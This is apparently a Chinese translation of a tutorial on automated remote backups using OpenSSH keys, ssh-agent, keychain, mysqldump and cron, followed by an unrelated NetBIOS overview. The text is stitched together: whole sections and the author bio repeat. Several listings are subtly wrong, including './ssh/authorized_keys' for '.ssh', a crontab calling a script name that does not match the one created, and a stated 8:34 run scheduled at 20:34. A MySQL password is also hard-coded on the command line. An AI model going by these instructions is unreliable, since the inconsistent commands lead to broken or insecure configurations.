关于作者

Carlos Justiniano 是 Ecuity, Inc 的一名软件设计师。他所感兴趣的方面包括通信和分布式计算。Carlos 为很多技术杂志撰写文章。他还是基于 Linux 的 ChessBrain 项目的奠基人和设计师,那个项目赢得了与分布式计算相关的 2005 Guinness World Record。您可以通过 carlos.justiniano@ecuityinc.com 与他联系。

#!/bin/sh
   tar czvf $1.$(date +%Y%m%d%-H%M%S).tgz $1
   exit $?



arc 脚本接收一个单独的文件或目录名作为参数,创建一个压缩的存档文件,同时将当前日期嵌入到生成的存档文件的名字之中。例如,如果您有一个名为 beoserver 的目录,您可以调用 arc 脚本,将 beoserver 目录名传递给它以创建一个压缩的存档文件,如: beoserver.20040321-014844.tgz

使用 date 命令是为了嵌入一个日期和时间戳以帮助您组织存档文件。日期的格式是年、月、日、小时、分、秒 —— 虽然秒域的使用有一些多余。查看 data 命令的手册( man date)来了解其他选项。另外,在清单 1 中,我们向 tar 传递了 -v(verbose)选项。这就使得 tar 显示出它正在存档的文件。如果您喜欢静默地进行备份,那么删除这个 -v 选项。

清单 2. 存档 beoserver 目录

$ ls
   arc  beoserver
   $ ./arc beoserver
   beoserver/
   beoserver/bookl.dat
   beoserver/beoserver_ab_off
   beoserver/beoserver_ab_on
   $ ls
   arc  beoserver  beoserver.20040321-014844.tgz



高级备份

这个简单备份是实用的;不过,它仍然包含一个人工备份的过程。行业最佳经验通常建议将数据备份到多个媒体上,并备份到分开的不同地理位置。中心思想是避免依赖于任何一个单独的存储媒体或单独的位置。

在下一个例子中我们将应对这一挑战,我们将分析一个如图 1 所示的假想的分布式网络,它展示了对两台远程服务器和一台离线存储服务器的系统管理。



图 1. 分布式网络

服务器 #1 和 #2 上的备份文件将安全地传输到离线存储服务器上,而且整个分布式备份过程将在没有人工干涉的情况下定期进行。我们将使用一组标准的工具(开放安全 shell 工具套件(OpenSSH)的一部分),以及磁带存档器(tar)和 cron 任务调度服务。我们的全部计划是,使用 cron 进行调度,使用 shell 程序和 tar 应用程序完成备份过程,使用 OpenSSH 安全 shell(ssh)加密进行远程访问、认证、安全 shell 拷贝(scp)以自动完成文件传输。要获得另外的资料请务必查看每个工具的手册。

使用公钥/私钥进行安全的远程访问

在数字安全的上下文中,密钥(key)指的是用来加密或解密其他数据片断的一个数据片断。公钥私钥模式的有趣之处在于,使用公钥加密的数据,只有用相应的私钥才可以解密。您可以自由地发布一个公钥,这样别人就可以对发送给您的消息进行加密。公钥/私钥模式彻底改变了数字安全的原因之一是,发送者和接收者不必再共享一个通用的密码。除了其他方面的贡献,公钥/私钥加密使用电子商务和其他安全传输成为可能。在本文中,我们将创建并使用公钥和私钥来创建一个非常安全的分布式备份解决方案。

要进行备份过程的每台机器都必须运行 OpenSSH 安全 shell 服务(sshd),同时让 22 端口可以通过任何内部防火墙被访问。如果您访问远程的服务器,那么很有可能您正在使用安全 shell。

我们的目标将是,不需要人工提供密码就可以安全地访问机器。一些人认为最简单的办法是设置无密码的访问:不要这样做。这样做不安全。不用那样,本文中我们将使用的方法可能会占用您大约一个小时的时间,建立起一个与使用“无密码”帐号同样方便的系统 —— 不过它是公认非常安全的。

让我们首先确保 OpenSSH 已经安装,接下来查看它的版本号。完成本文时,最新的发行的 OpenSSH 是 2004 年 2 月 24 日发布的版本 3.8。您应该考虑使用一个较新的而且稳定的发布版本,至少所用的版本应该要比版本 2.x 新。访问 OpenSSH Security 网页以获得关于特定旧版本的缺陷的细节。到目前为止,OpenSSH 是非常稳定的,而且已经证明不存在其他 SSH 工具所报告的很多缺陷。

在 shell 提示符中,输入 ssh 并给出重要的 V 选项来检查版本号:
$ ssh -V
OpenSSH_3.5p1, SSH protocols 1.5/2.0, OpenSSL 0×0090701f

如果 ssh 返回的版本号大于 2.x,则机器处于相对良好的状态。无论如何,建议您所有的软件都使用最新的稳定版本,这对于安全相关的软件来说尤其重要。

我们的第一个步骤是,使用将会有特权访问服务器 1 和 2 的帐号登录到离线存储服务器机器(见图 1)。
$ ssh accountname@somedomain.com

登录到离线存储服务器以后,使用 ssh-keygen 程序并给出 -t dsa 选项来创建一个公钥/密钥对。 -t 选项是必须的,用来指定我们要生成的密钥类型。我们将使用数字签名算法(Digital Signature Algorithm,DSA),它让我们可以使用更新的 SSH2 协议。参阅 ssh-keygen 手册以获得更多细节。

在 ssh-keygen 执行的过程中,在询问您口令(passphrase)之前,将提示您输入 ssh 密钥存储的位置。当询问在何处存储密钥时只需要按下回车键,然后 ssh-keygen 程序将创建一个名为 .ssh 的隐藏目录(如果原来不存在),以及两个文件,一个公钥文件和一个私钥文件。

ssh-keygen 的一个有趣特性是,当提示输入一个口令时,它让您可以只是简单地按下回车键。如果您没有给出口令,那么 ssh-keygen 将生成没有加密的密钥!如您所想,这不是个好主意。当要求输入口令时,确保输入一个足够长的字符消息,最好包含混合字符而不仅仅是一个简单的密码字符串。

清单 3. 永远选择好的口令

[offsite]:$ ssh-keygen -t dsa
   Generating public/private dsa key pair.
   Enter file in which to save the key (/home/accountname/.ssh/id_dsa):
   Enter passphrase (empty for no passphrase): (enter passphrase)
   Enter same passphrase again: (enter passphrase)
   Your identification has been saved in /home/accountname/.ssh/id_dsa.
   Your public key has been saved in /home/accountname/.ssh/id_dsa.pub.
   The key fingerprint is:
   7e:5e:b2:f2:d4:54:58:6a:fa:6b:52:9c:da:a8:53:1b accountname@offsite



由于 ssh-keygen 生成的 .ssh 目录是一个隐藏的“dot”目录,所以要给 ls 命令传入一个 -a 选项来查看新创建的目录:

[offsite]$ ls -a
. .. .bash_logout .bash_profile .bashrc .emacs .gtkrc .ssh



进入隐藏的 .ssh 目录并列出其内容:

[offsite]$ cd .ssh
[offsite]$ ls -lrt
id_dsa id_dsa.pub



现在,在隐藏的 .ssh 目录中,我们已经拥有了一个私钥(id_dsa)和一个公钥(id_dsa.pub)。您可以使用 vi 或 emacs 等文本编辑工具或者简单地使用 less 或 cat 命令来分析每个密钥文件的内容。您将看到由混合字符构成的内容已经经过了 base64 编码。

然后,我们需要将公钥拷贝并安装到服务器 1 和 2 上。不要使用 ftp。更合理的是,使用安全拷贝程序来将公钥传送到每一台远程机器上。

清单 4. 将公钥安装到远程服务器上

[offsite]$ scp .ssh/id_dsa.pub accountname@server1.com:offsite.pub
   accountname@server1.com's password: (enter password, not new
   passphrase!)
   id_dsa.pub 100% |*****************************| 614 00:00

   [offsite]$ scp .ssh/id_dsa.pub accountname@server2.com:offsite.pub
   accountname@server2.com's password: (enter password, not new
   passphrase!)
   id_dsa.pub 100% |*****************************| 614 00:00



在安装完新的公钥后,我们就可以使用创建私钥和公钥时指定的口令来登录到每一台机器。现在,登录到每台机器,并将 offsite.pub 文件的内容附加到一个名为 authorized_keys 的文件中,这个文件存储在每台远程机器的 .ssh 目录下。我们可以使用一个文本编辑器或者简单地使用 cat 命令来将 offsite.pub 文件的内容附加到 authorized_keys 文件:

清单 5. 将 offsite.pub 添加到已授权密钥列表

[offsite]$ ssh accountname@server1.com
   accountname@server1.com's password: (enter password, not new
   passphrase!)
   [server1]$ cat offsite.pub >> ./ssh/authorized_keys



接下来的步骤是考虑一些额外的安全性。首先,我们修改 .ssh 的访问权限,以使得只有所有者有读、写和执行的权限。然后,我们确保 authorized_keys 文件只能由所有者来访问。最后,将先前上传的 offsite.pub 密钥文件删除,因为再也不需要它了。确保设置适当的访问权限很重要,因为 OpenSSH 服务器可能会拒绝使用具有不安全访问权限的密钥。

清单 6. 使用 chmod 修改权限

[server1]$ chmod 700 .ssh
   [server1]$ chmod 600 ./ssh/authorized_keys
   [server1]$ rm offsite.pub
   [server1]$ exit



在服务器 2 上完成同样的步骤后,我们就可以返回到离线存储机器上来测试新的口令类型的访问。在离线服务器上您可以输入下面的内容:
[offsite]$ ssh -v accountname@server1.com

在检验您的帐号现在可以使用新的口令而不是原来的密码来访问远程的服务器时,使用 -v 或 verbose 标记选项来显示调试信息。调试输出除了能让您在一个高的层面上观察到认证过程是如何工作的之外,还可以显示出您可以以其他方式无法得到的重要信息。在以后的连接中您可能并不需要指定 -v 标记;但是在测试连接时它相当有用。

使用 ssh-agent 自动化机器访问

ssh-agent 程序如同一个看门人,它根据需要安全地提供对安全密钥的访问。ssh-agent 启动后,它就会在后台运行,并且可以由 ssh 和 scp 程序等其他 OpenSSH 应用程序所使用。这就使得 ssh 程序可以请求一个已经解密了的密钥,而不是在每次需要时向您询问私钥的安全口令。

让我们来仔细研究一下 ssh -agent。ssh-agent 运行时它会输出 shell 命令:

清单 7. ssh-agent 应用

[offsite]$ ssh-agent
   SSH_AUTH_SOCK=/tmp/ssh-XX1O24LS/agent.14179; export SSH_AUTH_SOCK;
   SSH_AGENT_PID=14180; export SSH_AGENT_PID;
   echo Agent pid 14180;



我们可以使用 shell 的 eval 命令来让 shell 执行 ssh-agent 显示的输出命令:

[offsite]$ eval `ssh-agent`
Agent pid 14198



eval 命令告诉 shell 去评价(执行)ssh-agent 程序生成的命令。确保您指定的是反引号(`)而不是单引号!执行后,eval `ssh-agent` 语句将返回代理的进程标识符。在幕后,SSH_AUTH_SOCK 和 SSH_AGENT_PID shell 变量已经被导出而可以使用。您可以将它们显示在 shell 控制台中来查看它们的值:

[offsite]$ echo $SSH_AUTH_SOCK
/tmp/ssh-XX7bhIwq/agent.14197



$SSH_AUTH_SOCK (SSH Authentication Socket 的缩写)是一个本地套接字的位置,应用程序可以通过它来与 ssh-agent 通信。将 eval `ssh-agent` 语句加入到您的 ~/.bash_profile 文件以确保 SSH_AUTH_SOCK 和 SSH_AGENT_PID 始终被注册。
ssh-agent 现在就已经成为一个后台进程,可以用 top 和 ps 命令查看得到。

现在我们就已经可以使用 ssh-agent 共享我们的口令。为此,我们必须使用一个名为 ssh-add 的程序,这个程序将我们的口令添加(发送)到运行着的 ssh-agent 程序。

清单 8. 用于免口令登录的 ssh-add

[offsite]$ ssh-add
   Enter passphrase for /home/accountname/.ssh/id_dsa: (enter passphrase)
   Identity added: /home/accountname/.ssh/id_dsa
   (/home/accountname/.ssh/id_dsa)



现在,当我们访问 server1 时,不会再被提示输入口令:
[offsite]$ ssh accountname@server1.com
[server1]$ exit

如果您还不相信,那么尝试去掉(kill -9)ssh-agent 进程,然后重新连接 server1。这一次,您将注意到,server1 将会询问存储在

.ssh 目录下 id_dsa 中的私钥的口令:
[offsite]$ kill -9 $SSH_AGENT_PID
[offsite]$ ssh accountname@server1.com
Enter passphrase for key '/home/accountname/.ssh/id_dsa':



使用 keychain 简化密钥访问

到现在为止,我们已经了解了几个 OpenSSH 程序(ssh、scp、ssh-agent 和 ssh-add),而且我们已经创建并安装了私钥和公钥来启用一个安全而且自动的登录过程。您可能已经意识到,大部分设置工作只需要进行一次。例如,创建密钥、安装密钥、通过 .bash_profile 执行 ssh-agent 的过程在每台机器只需要进行一次。那真是好消息。

不太理想的消息是,我们每次登录到离线的机器上时,都必须调用 ssh-add,而且,ssh-agent 与我们将要用来自动化备份工作的 cron 调度进程并不直接兼容。cron 进程不能与 ssh-agent 通信的原因是,cron 作业是作为 cron 的子进程来执行,这样它们就不会继承 $SSH_AUTH_SOCK shell 变量。

幸运的是,有一个解决方案不但可以消除 ssh-agent 和 ssh-add 的局限,而且可以让我们使用 cron 来自动进行各种需要对其他机器进行安全地无密码访问的过程。在他 2001 年发表的三篇 developerWorks 系列文章中,即 OpenSSH key management,Daniel Robbins 介绍了一个名为 keychain 的 shell 脚本,它是 ssh-add 和 ssh-agent 的一个前端,简化了整个无密码的过程。随着时间的过去,keychain 脚本已经经历了很多改进,现在由 Aron Griffis 维护,其最新的 2.3.2-1 发布版本公布于 2004 年 6 月 17 日。

keychain shell 脚本太长以致于无法在本文中列出,因为精心编写的脚本中包括了很多错误检测、丰富的文档以及非常多的跨平台代码。不过,keychain 可以自项目的 Web 站点上方便地下载得到。

下载并安装了 keychain 后,使用它就很简单了。只需要登录到每台机器并将下面两行添加到每个 .bash_profile 文件:
keychain id_dsa
. ~/.keychain/$HOSTNAME-sh

在您第一次重新登录到每台机器时,keychain 将向您询问口令。不过,除非机器被重新启动,否则,以后再登录时,keychain 将不会再要求您重新输入口令。最好的是,cron 任务现在可以使用 OpenSSH 命令来安全地访问远程的机器,而不需要交互地使用口令。更好的安全和更容易的使用,现在我们已经兼得。

清单 9. 在每台机器上初始化

KeyChain 2.3.2; http://www.gentoo.org/projects/keychain
   Copyright 2002-2004 Gentoo Technologies, Inc.; Distributed under the
   GPL

   * Initializing /home/accountname/.keychain/localhost.localdomain-sh
   file...
   * Initializing /home/accountname/.keychain/localhost.localdomain-csh
   file...
   * Starting ssh-agent
   * Adding 1 key(s)...
   Enter passphrase for /home/accountname/.ssh/id_dsa: (enter passphrase)


 


使用 ssh-agent 自动化机器访问

ssh-agent 程序如同一个看门人,它根据需要安全地提供对安全密钥的访问。ssh-agent 启动后,它就会在后台运行,并且可以由 ssh 和 scp 程序等其他 OpenSSH 应用程序所使用。这就使得 ssh 程序可以请求一个已经解密了的密钥,而不是在每次需要时向您询问私钥的安全口令。

让我们来仔细研究一下 ssh -agent。ssh-agent 运行时它会输出 shell 命令:

清单 7. ssh-agent 应用

[offsite]$ ssh-agent
   SSH_AUTH_SOCK=/tmp/ssh-XX1O24LS/agent.14179; export SSH_AUTH_SOCK;
   SSH_AGENT_PID=14180; export SSH_AGENT_PID;
   echo Agent pid 14180;



我们可以使用 shell 的 eval 命令来让 shell 执行 ssh-agent 显示的输出命令:

[offsite]$ eval `ssh-agent`
Agent pid 14198



eval 命令告诉 shell 去评价(执行)ssh-agent 程序生成的命令。确保您指定的是反引号(`)而不是单引号!执行后,eval `ssh-agent` 语句将返回代理的进程标识符。在幕后,SSH_AUTH_SOCK 和 SSH_AGENT_PID shell 变量已经被导出而可以使用。您可以将它们显示在 shell 控制台中来查看它们的值:

[offsite]$ echo $SSH_AUTH_SOCK
/tmp/ssh-XX7bhIwq/agent.14197



$SSH_AUTH_SOCK (SSH Authentication Socket 的缩写)是一个本地套接字的位置,应用程序可以通过它来与 ssh-agent 通信。将 eval `ssh-agent` 语句加入到您的 ~/.bash_profile 文件以确保 SSH_AUTH_SOCK 和 SSH_AGENT_PID 始终被注册。
ssh-agent 现在就已经成为一个后台进程,可以用 top 和 ps 命令查看得到。

现在我们就已经可以使用 ssh-agent 共享我们的口令。为此,我们必须使用一个名为 ssh-add 的程序,这个程序将我们的口令添加(发送)到运行着的 ssh-agent 程序。

清单 8. 用于免口令登录的 ssh-add

[offsite]$ ssh-add
   Enter passphrase for /home/accountname/.ssh/id_dsa: (enter passphrase)
   Identity added: /home/accountname/.ssh/id_dsa
   (/home/accountname/.ssh/id_dsa)



现在,当我们访问 server1 时,不会再被提示输入口令:
[offsite]$ ssh accountname@server1.com
[server1]$ exit

如果您还不相信,那么尝试去掉(kill -9)ssh-agent 进程,然后重新连接 server1。这一次,您将注意到,server1 将会询问存储在

.ssh 目录下 id_dsa 中的私钥的口令:
[offsite]$ kill -9 $SSH_AGENT_PID
[offsite]$ ssh accountname@server1.com
Enter passphrase for key '/home/accountname/.ssh/id_dsa':



使用 keychain 简化密钥访问

到现在为止,我们已经了解了几个 OpenSSH 程序(ssh、scp、ssh-agent 和 ssh-add),而且我们已经创建并安装了私钥和公钥来启用一个安全而且自动的登录过程。您可能已经意识到,大部分设置工作只需要进行一次。例如,创建密钥、安装密钥、通过 .bash_profile 执行 ssh-agent 的过程在每台机器只需要进行一次。那真是好消息。

不太理想的消息是,我们每次登录到离线的机器上时,都必须调用 ssh-add,而且,ssh-agent 与我们将要用来自动化备份工作的 cron 调度进程并不直接兼容。cron 进程不能与 ssh-agent 通信的原因是,cron 作业是作为 cron 的子进程来执行,这样它们就不会继承 $SSH_AUTH_SOCK shell 变量。

幸运的是,有一个解决方案不但可以消除 ssh-agent 和 ssh-add 的局限,而且可以让我们使用 cron 来自动进行各种需要对其他机器进行安全地无密码访问的过程。在他 2001 年发表的三篇 developerWorks 系列文章中,即 OpenSSH key management,Daniel Robbins 介绍了一个名为 keychain 的 shell 脚本,它是 ssh-add 和 ssh-agent 的一个前端,简化了整个无密码的过程。随着时间的过去,keychain 脚本已经经历了很多改进,现在由 Aron Griffis 维护,其最新的 2.3.2-1 发布版本公布于 2004 年 6 月 17 日。

keychain shell 脚本太长以致于无法在本文中列出,因为精心编写的脚本中包括了很多错误检测、丰富的文档以及非常多的跨平台代码。不过,keychain 可以自项目的 Web 站点上方便地下载得到。

下载并安装了 keychain 后,使用它就很简单了。只需要登录到每台机器并将下面两行添加到每个 .bash_profile 文件:
keychain id_dsa
. ~/.keychain/$HOSTNAME-sh

在您第一次重新登录到每台机器时,keychain 将向您询问口令。不过,除非机器被重新启动,否则,以后再登录时,keychain 将不会再要求您重新输入口令。最好的是,cron 任务现在可以使用 OpenSSH 命令来安全地访问远程的机器,而不需要交互地使用口令。更好的安全和更容易的使用,现在我们已经兼得。

清单 9. 在每台机器上初始化

KeyChain 2.3.2; http://www.gentoo.org/projects/keychain
   Copyright 2002-2004 Gentoo Technologies, Inc.; Distributed under the
   GPL

   * Initializing /home/accountname/.keychain/localhost.localdomain-sh
   file...
   * Initializing /home/accountname/.keychain/localhost.localdomain-csh
   file...
   * Starting ssh-agent
   * Adding 1 key(s)...
   Enter passphrase for /home/accountname/.ssh/id_dsa: (enter passphrase)


 



脚本化备份过程

我们的下一个任务是创建执行必要的备份过程的 shell 脚本。目标是执行服务器 1 和 2 的完全数据库备份。在我们的例子中,每个服务器都运行着 MySQL 数据库服务器,我们使用 mysqldump 命令行工具来将一些数据库表导出到一个 SQL 输入文件中。

清单 10. 服务器 1 的 dbbackup.sh shell 脚本

#!/bin/sh

   # change into the backup_agent directory where data files are stored.
   cd /home/backup_agent

   # use mysqldump utility to export the sites database tables
   mysqldump -u sitedb -pG0oDP@sswrd --add-drop-table sitedb --tables
   tbl_ccode tbl_machine tbl_session tbl_stats > userdb.sql

   # compress and archive
   tar czf userdb.tgz userdb.sql



在服务器 2 上,我们将设置一个类似的脚本来备份站点数据库中给出的独有表单。每个脚本都通过下面的步骤标记为可执行的:
[server1]:$ chmod +x dbbackup.sh

在服务器 1 和 2 上设置了 dbbackup.sh 后,我们返回到离线的数据服务器,在那里我们将创建一个 shell 脚本来调用各个远程 dbbackup.sh 脚本并随后传输压缩的(.tgz)数据文件。

清单 11. 用在离线的数据服务器上的 backup_remote_servers.sh shell 脚本

#!/bin/sh

   # use ssh to remotely execute the dbbackup.sh script on server 1
   /usr/bin/ssh backup_agent@server1.com "/home/backup_agent/dbbackup.sh"

   # use scp to securely copy the newly archived userdb.tgz file
   # from server 1.  Note the use of the date command to timestamp
   # the file on the offsite data server.
   /usr/bin/scp backup_agent@server1.com:/home/backup_agent/userdb.tgz
   /home/backups/userdb-$(date +%Y%m%d-%H%M%S).tgz

   # execute dbbackup.sh on server 2
   /usr/bin/ssh backup_agent@server2.com "/home/backup_agent/dbbackup.sh"

   # use scp to transfer transdb.tgz to offsite server.
   /usr/bin/scp backup_agent@server2.com:/home/backup_agent/transdb.tgz
   /home/backups/transdb-$(date +%Y%m%d-%H%M%S).tgz



backup_remote_servers.sh shell 脚本使用 ssh 命令来执行远程服务器上的脚本。由于我们已经设置的无密码的访问,ssh 命令可以通过离线的服务器在服务器 1 和 2 上远程地执行命令。感谢 keychain,整个认证过程现在可以自动完成。

调度

我们的下一个步骤,也是最后一个步骤,是调度 backup_remote_servers.sh shell 脚本在离线的数据存储服务器上的执行。我们将向 cron 调度服务器中添加两个条目,以要求每天执行备份脚本两次,3:34 执行一次,8:34 再执行一次。在离线的服务器上使用 edit(-e)选项调用 crontab 程序。
[offsite]:$ crontab -e

crontab 调用 VISUAL 或 EDITOR shell 环境变量所指定的默认的编辑器。然后,输入两个条目并保存和关闭文件。

清单 12. 离线的服务器上的 Crontab 条目
34 3 * * * /home/backups/remote_db_backup.sh
34 20 * * * /home/backups/remote_db_backup.sh

一个 crontab 行包括两个主要部分,时间表部分和后面的命令部分。时间表分为多个域,用来指定一个命令应该何时执行:

清单 13. Crontab 格式

+---- minute
          | +----- hour
          | | +------ day of the month
          | | | +------ month
          | | | | +---- day of the week
          | | | | | +-- command to execute
          | | | | | |
         34 3 * * * /home/backups/remote_db_backup.sh



检验您的备份

您应该对备份进行例行地检查,以确保程序正确进行。自动程序可以使烦琐的工作得到避免,但是永远不能因此而懒惰。如果您的数据值得备份,那么它也值得您时常进行抽样检查。

考虑添加一个 cron 作业来提醒您自己至少每个月对备份进行一次检查。另外,经常修改安全密钥也是一个好主意,同样您也可以调度一个 cron 作业来提醒您做这件事。

另外的安全防范

要获得更高的安全性,可以考虑在每台机器上安装并配置一个入侵检测系统(ntrusion Detection System,IDS),比如 Snort。可以预见,当入侵正在发生或者近期发生过时,IDS 将会通知您。IDS 到位后,您将可以添加其他层次上的安全,比如对您的备份进行数字签名和加密。

GNU Privacy Guard(GnuPG)、OpenSSL 和 ncrypt 等流行的开放源代码工具可以支持通过 shell 脚本对存档文件进行加密,不过不建议在没有 IDS 提供的额外层次保护的情况下这样做。

结束语

本文向您展示了如何让您的脚本在远程服务器执行以及如何执行安全自动的文件传输。我希望您能由此得到灵感而开始考虑保护您自己的重要数据,并使用 OpenSSH 和 Snort 等开放源代码工具来构建新的解决方案。

关于作者

Carlos Justiniano 是 Ecuity, Inc 的一名软件设计师。他所感兴趣的方面包括通信和分布式计算。Carlos 为很多技术杂志撰写文章。他还是基于 Linux 的 ChessBrain 项目的奠基人和设计师,那个项目赢得了与分布式计算相关的 2005 Guinness World Record。您可以通过 carlos.justiniano@ecuityinc.com 与他联系。

脚本化备份过程

我们的下一个任务是创建执行必要的备份过程的 shell 脚本。目标是执行服务器 1 和 2 的完全数据库备份。在我们的例子中,每个服务器都运行着 MySQL 数据库服务器,我们使用 mysqldump 命令行工具来将一些数据库表导出到一个 SQL 输入文件中。

清单 10. 服务器 1 的 dbbackup.sh shell 脚本

#!/bin/sh

   # change into the backup_agent directory where data files are stored.
   cd /home/backup_agent

   # use mysqldump utility to export the sites database tables
   mysqldump -u sitedb -pG0oDP@sswrd --add-drop-table sitedb --tables
   tbl_ccode tbl_machine tbl_session tbl_stats > userdb.sql

   # compress and archive
   tar czf userdb.tgz userdb.sql



在服务器 2 上,我们将设置一个类似的脚本来备份站点数据库中给出的独有表单。每个脚本都通过下面的步骤标记为可执行的:
[server1]:$ chmod +x dbbackup.sh

在服务器 1 和 2 上设置了 dbbackup.sh 后,我们返回到离线的数据服务器,在那里我们将创建一个 shell 脚本来调用各个远程 dbbackup.sh 脚本并随后传输压缩的(.tgz)数据文件。

清单 11. 用在离线的数据服务器上的 backup_remote_servers.sh shell 脚本

#!/bin/sh

   # use ssh to remotely execute the dbbackup.sh script on server 1
   /usr/bin/ssh backup_agent@server1.com "/home/backup_agent/dbbackup.sh"

   # use scp to securely copy the newly archived userdb.tgz file
   # from server 1.  Note the use of the date command to timestamp
   # the file on the offsite data server.
   /usr/bin/scp backup_agent@server1.com:/home/backup_agent/userdb.tgz
   /home/backups/userdb-$(date +%Y%m%d-%H%M%S).tgz

   # execute dbbackup.sh on server 2
   /usr/bin/ssh backup_agent@server2.com "/home/backup_agent/dbbackup.sh"

   # use scp to transfer transdb.tgz to offsite server.
   /usr/bin/scp backup_agent@server2.com:/home/backup_agent/transdb.tgz
   /home/backups/transdb-$(date +%Y%m%d-%H%M%S).tgz



backup_remote_servers.sh shell 脚本使用 ssh 命令来执行远程服务器上的脚本。由于我们已经设置的无密码的访问,ssh 命令可以通过离线的服务器在服务器 1 和 2 上远程地执行命令。感谢 keychain,整个认证过程现在可以自动完成。

调度

我们的下一个步骤,也是最后一个步骤,是调度 backup_remote_servers.sh shell 脚本在离线的数据存储服务器上的执行。我们将向 cron 调度服务器中添加两个条目,以要求每天执行备份脚本两次,3:34 执行一次,8:34 再执行一次。在离线的服务器上使用 edit(-e)选项调用 crontab 程序。
[offsite]:$ crontab -e

crontab 调用 VISUAL 或 EDITOR shell 环境变量所指定的默认的编辑器。然后,输入两个条目并保存和关闭文件。

清单 12. 离线的服务器上的 Crontab 条目
34 3 * * * /home/backups/remote_db_backup.sh
34 20 * * * /home/backups/remote_db_backup.sh

一个 crontab 行包括两个主要部分,时间表部分和后面的命令部分。时间表分为多个域,用来指定一个命令应该何时执行:

清单 13. Crontab 格式

+---- minute
          | +----- hour
          | | +------ day of the month
          | | | +------ month
          | | | | +---- day of the week
          | | | | | +-- command to execute
          | | | | | |
         34 3 * * * /home/backups/remote_db_backup.sh



检验您的备份

您应该对备份进行例行地检查,以确保程序正确进行。自动程序可以使烦琐的工作得到避免,但是永远不能因此而懒惰。如果您的数据值得备份,那么它也值得您时常进行抽样检查。

考虑添加一个 cron 作业来提醒您自己至少每个月对备份进行一次检查。另外,经常修改安全密钥也是一个好主意,同样您也可以调度一个 cron 作业来提醒您做这件事。

另外的安全防范

要获得更高的安全性,可以考虑在每台机器上安装并配置一个入侵检测系统(ntrusion Detection System,IDS),比如 Snort。可以预见,当入侵正在发生或者近期发生过时,IDS 将会通知您。IDS 到位后,您将可以添加其他层次上的安全,比如对您的备份进行数字签名和加密。

GNU Privacy Guard(GnuPG)、OpenSSL 和 ncrypt 等流行的开放源代码工具可以支持通过 shell 脚本对存档文件进行加密,不过不建议在没有 IDS 提供的额外层次保护的情况下这样做。

结束语

本文向您展示了如何让您的脚本在远程服务器执行以及如何执行安全自动的文件传输。我希望您能由此得到灵感而开始考虑保护您自己的重要数据,并使用 OpenSSH 和 Snort 等开放源代码工具来构建新的解决方案。

关于作者

Carlos Justiniano 是 Ecuity, Inc 的一名软件设计师。他所感兴趣的方面包括通信和分布式计算。Carlos 为很多技术杂志撰写文章。他还是基于 Linux 的 ChessBrain 项目的奠基人和设计师,那个项目赢得了与分布式计算相关的 2005 Guinness World Record。您可以通过 carlos.justiniano@ecuityinc.com 与他联系。

Netbois(网络基本输入/输出系统)最初由IBM,Sytek作为API开发,使用户软件能使用局域
网的资源。自从诞生,Netbois成为许多其他网络应用程序的基础。严格意义上,Netbios是
接入网络服务的接口标准。
Netbios原来是作为THE网络控制器为IBM局域网设计的,是通过特定硬件用来和网络操作系统
连接的软件层。Netbios经扩展,允许程序使用Netbios接口来操作IBM令牌环结构。Netbios
已被公认为工业标准,通常参照Netbios-compatible LANs.

它提供给网络程序一套方法,相互通讯及传输数据。基本上,Netbios允许程序和网络会话。
它的目的是把程序和任何类型的硬件属性分开。它也使软件开发员

可以免除以下负担:开发网络错误修复,低层信息寻址和路由。使用Netbios接口,可以为软
件开发员做许多工作。

Netbios使程序和局域网操作能力之间的接口标准化。有它们,可以将程序细化到为osi模型
的哪一层所写,使程序能移植到其他网络上。在Netbios局域网环境下,计算机通过名字被系
统知道。网络中每台计算机都有通过不同方法编的永久性名称。这些名称将在下面做进一步
讨论。

通过使用Netbios的数据报或广播方式,在Netbios局域网上的pc机建立会话彼此联络。会话
允许更多的信息被传送,探测错误,和纠正。通信是在一对一的基础上的。数据报或广播方式
允许一台计算机和多台其他的计算机同时通信,但信息大小受限。使用数据报或广播方式没有
探测错误和纠正。然而,数据报通信可以不必建立一个会话。

在这种环境下所有的通信以一种称为“网络控制块“的格式提交给NetBIOS。内存中这些块的
分配依赖于用户程序。这些“网络控制块“分配到域中,分别为输入/输出保留。

在当今的环境中,NetBIOS是使用很普遍的协议。以太网,令牌环,IBM PC网都支持NetBIOS。
在它原始版本中,它仅作为程序和网络适配器的接口。从那以后,传输类功能加入NetBIOS,
使它功能日益增多。

在NetBIOS里,面向连接(tcp)和无连接(udp)通信均支持。它支持广播和复播,支持三个分开
的服务:命名,会话,数据报。


[1.0.2] NetBIOS 名称

NetBIOS名称用来在网络上鉴别资源。程序用这些名称开始和结束会话。你能用多个程序配置
一台单独的机器,每个程序都有独特的NetBIOS名称。每台支持应用的pc机也有用户定义或通
过内部方法获得的NetBIOS站名。

NetBIOS能包含至多16个阿尔法数字字母。在整个资源路由网络里,字母的组合必须独特。在
一台使用NetBIOS的pc机在网络上能完全工作起来之前,pc必须先登记NetBIOS名称。

当客户端活跃时,客户端广播它的名称。当它成功广播自己,并没有其他人和它重名,客户端
就登记成功。登记过程如下:

1.在登陆上,客户端在所有地方广播它自己和它的NetBIOS信息6到10次,确保其他网络成员收
到信息。
2.如果有客户端A已用此名,客户端A发布它自己的广播,包括它正在使用的名字。请求登陆的
客户端停止所有登记的企图。
3.如无其他客户端反对登记,请求登陆的客户端完成登记过程。

在NetBIOS环境中有两类名称:独特的和集合的。独特的名称必须在网络中独特。集合的名称不
必在网络中独特,所有同名过程属于同一集合。每个NetBIOS节点包含一张该节点当前使用名称
的表。

NetBIOS命名允许16个字母用在NetBIOS名称中。而微软只允许15个字母用在NetBIOS名称中,第
十六个为NetBIOS后缀。NetBIOS后缀用在Microsoft Networking 软件中,区别安装的功能,
登记的设备和服务。

[注意:smb 和nbt(在tcp/ip上的NetBIOS)紧密的工作在一起,且都使用137,138,139端口。
137端口是NetBIOS名称UDP,138端口是NetBIOS数据报UDP,139端口是NetBIOS会话tcp,进一
步的NetBIOS信息,看rhino9网站上所列文章]

以下是Microsoft WindowsNT目前使用的NetBIOS后缀表。后缀是16进制。

名称 数字 类型 用途
=========================================================================
=
00 U Workstation Service
01 U Messenger Service
<\\_MSBROWSE_> 01 G Master Browser
03 U Messenger Service
06 U RAS Server Service
1F U NetDDE Service
20 U File Server Service
21 U RAS Client Service
22 U Exchange Interchange
23 U Exchange Store
24 U Exchange Directory
30 U Modem Sharing Server Service
31 U Modem Sharing Client Service
43 U SMS Client Remote Control
44 U SMS Admin Remote Control Tool
45 U SMS Client Remote Chat
46 U SMS Client Remote Transfer
4C U DEC Pathworks TCPIP Service
52 U DEC Pathworks TCPIP Service
87 U Exchange MTA
6A U Exchange IMC
